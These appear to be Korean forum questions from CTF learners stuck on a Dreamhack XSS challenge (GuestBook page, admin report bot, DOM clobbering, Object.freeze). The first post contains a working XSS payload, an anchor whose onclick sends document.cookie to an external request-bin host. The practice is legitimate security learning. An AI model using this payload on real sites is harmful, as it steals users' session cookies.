<a href="#" onclick="location.href='https://nezvnms.request.dreamhack.games/cookie='+document.cookie">xss</a> 이렇게 태그를 변경해서 글씨를 클릭하면 쿠키를 request bin으로 보내게 하였는데요. 직접 클릭해보니 쿠키가 잘 보내졌습니다. 근데 생각해보니까 HTML 태그를 변경하는건 어드민 봇이 할 땐 적용이 안되더라구요ㅋㅋㅋㅋ 거기다 어드민 봇이 글씨를 클릭할 일도 없구요ㅠㅠ 아예 길을 잘못 든것 같은데 자그마한 힌트 좀 주실 수 있을까요?

문제 접근 config.js 에 Object.freeze(window.CONFIG); 설정으로 CONFIG.main 변경 하여 푸는 방식은 아니라고 판단. 소스 보기에서 id, name이 포함된 element가 없어 markdown포맷으로 a tag생성 시 id, name 추가 앞서 생성한 tag를 이용하여 Dom Clobbering 을 적용해 보려 하였으나, 이 방법이 아니라고 생각. a tag의 attribute를 통한 XSS 시도 중... 클릭 시 alert(document.domain), 외부 xss.html 은 모두 잘 동작 bot이 전달한 link를 click하지 않은 것으로 확인(외부 링크 클릭 여부로 확인), webdriver.get(report_url)로 접근만 한다고 가정 질문 문제의 의도를 파악하지 못하고 헤메고 있는 것 같습니다. *a tag에서 click 하지 않고 바로 실행되는 방법을 찾아야 하는 것인가요? *

report에 /GuestBook.php?contenta 를 넣으면 봇이 웹훅 링크를 방문하도록 설계가 되어있나요?

클릭없이 자동으로 트리거 되도록 페이로드 작성해서 GuestBook에서는 웹훅으로 잘 전송되는데, Report에서는 아예 요청이 오질 않네요.. Report 폼에다가 host1.dreamhack.games:12412/GuestBook.php?content= 와 같은 식으로 넣었는데 양식이 틀린걸까요?

Guest Book.php에서 코드를 입력하면 작동하는데 Report에 해당 주소를 주게 되면 작동하지 않습니다. 혹시 Report의 봇은 Guest Book.php와 달리 필터링을 하나요?

a태그를 사용하구요.... onload, onclick 등.. 여러가지 방법으로도 해봤는데, 잘 안됩니다... ㅜㅠ 자동실행에는 어떤 attribute를 이용해야하는지 구글링해도 같은 내용뿐인 거 같습니다. XSS로 해결하신 분이 있으신다면,, 어떤 속성을 사용하셨는지 여쭤봅니다.. ㅠㅠ

접근 방법을 모르겠습니다. DOM Clobbering 방식인지? object.freeze도 우회하는 방법이 있나요? a태그를 이용해서 작성하게 되면 클릭했을 때 스크립트가 동작합니다. 어드민 봇에게 리포트를 통해 해당 스크립트를 전달하더라도, 클릭을 안하기 때문에 스크립트 동작이 안하네요.. 다른방법인가요? 살려주세요 머리 벗겨질 거 같아여~

오류가 발생하는 주소를 관리자가 확인할 수 있도록 하는 Report기능 오류가 발생하는 주소?, 관리자가 확인할수 있도록 하는 report기능? 이건 무슨 기능인지 아시는분 좀 알려주세요.

.

Report 기능 동작이 일반적인 Headless와 다르게 돌아가나요? 로컬에서는 잘 되는데 계속 안되는데 뭐가 잘못됐는지 궁금합니다